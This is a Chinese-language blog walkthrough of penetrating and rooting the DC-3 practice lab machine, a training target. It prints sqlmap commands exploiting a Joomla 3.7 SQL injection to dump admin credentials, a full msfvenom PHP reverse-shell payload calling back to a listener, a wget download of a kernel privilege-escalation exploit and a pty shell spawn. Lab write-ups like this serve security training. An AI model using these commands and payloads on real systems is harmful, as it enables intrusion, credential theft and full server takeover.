• DC-3靶机渗透提权


    0x01 收集DC-3靶机的信息

    利用nmap工具扫描DC-3的信息

    利用msf工具扫描出对应的版本信息

    0x02 获取网站管理员的用户名和密码

    利用searchsploit查找针Joomla 3.7 的漏洞

    查看对应的文件中的攻击方式说明

    执行文件中sqlmap语句进行爆库

    sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
    

    成功获取网站中的数据库

    尝试获取joomladb库中的表

    sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
    

    在joomladb中一共有76个表,#__uses表中应该存储了账密字段

    尝试获取#__users表中的字段

    sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
    

    获取字段名过程中发现不能直接从表中取出字段,根据提示进行操作

    成功获取users表中的6个字段

    尝试获取字段username和password的内容

    sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' -dump -p list[fullordering]
    

    成功获取用户名和密码的hash

    利用john工具对密码进行爆破

    利用niktod或joomscan对网站进行扫描,获取网站目录

    访问/administrator页面,使用之前得到的用户名和密码进行登录


    成功登录之后,点击查看系统信息,发现系统及其内核的版本


    0x03 取得shell并提权

    3.1 上传文件获取反弹shell

    点击Extensions — Templates — Beez3 Details and Files

    通过 ip/templates/beez3/html 可以访问该页面中文件夹的内容

    利用msfvenom生成反弹shell的PHP文件

    # 命令不支持补全,LHOST为开启监听主机的IP,LPORT为监听端口
    msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.104 LPORT=7777 R
    
    <?php /**/ error_reporting(0); $ip = '10.10.10.104'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
    
    

    将生成的代码写入网站html文件夹下的reshell.php文件

    通过浏览器可以访问html这个目录

    (PS: 我是在不同时间段完成提权部分和之前的爆库部分,所以IP改变了,不过不影响实验)

    先在msfconsole上开启监听,再访问上传的php文件便可以成功连接

    3.2 提权并查看flag

    根据之前获取的系统和内核信息查找DC3的可利用漏洞,并将说明文档下载至当前目录下

    查看具体用法以及效果演示

    将压缩包文件下载到本地并解压

    wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
    

    如果用 wget命令从GitHub下载失败时,可以往/etc/hosts文件中添加以下内容

    # Github Start
    52.74.223.119 github.com
    192.30.253.119 gist.github.com
    54.169.195.147 api.github.com
    185.199.111.153 assets-cdn.github.com
    151.101.76.133 raw.githubusercontent.com
    

    之前已经建立了连接,现在将exploit.tar上传到服务器的/tmp目录下

    进入目标系统的shell,利用python3调出交互式命令解释器,并将上传的压缩包进行解压

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    运行过程会出现编译错误,忽略即可

    成功取得root权限,切换到至/root目录下查看flag

    更改root密码后,查看登陆DC-3靶机后的界面

  • 相关阅读:
    del
    sublime右键菜单,anaconda设置
    全概率公式、贝叶斯公式推导过程
    python数据结构之链表(一)
    关于panda中dataframe的与&运算*(stackoverflow高票答案)
    转载:python 日期,季度,年份
    商业模式画布
    互联网思维
    互联网思维
    战略品牌管理_1
  • 原文地址:https://www.cnblogs.com/cradle-q0518/p/13431387.html
Copyright © 2020-2023  润新知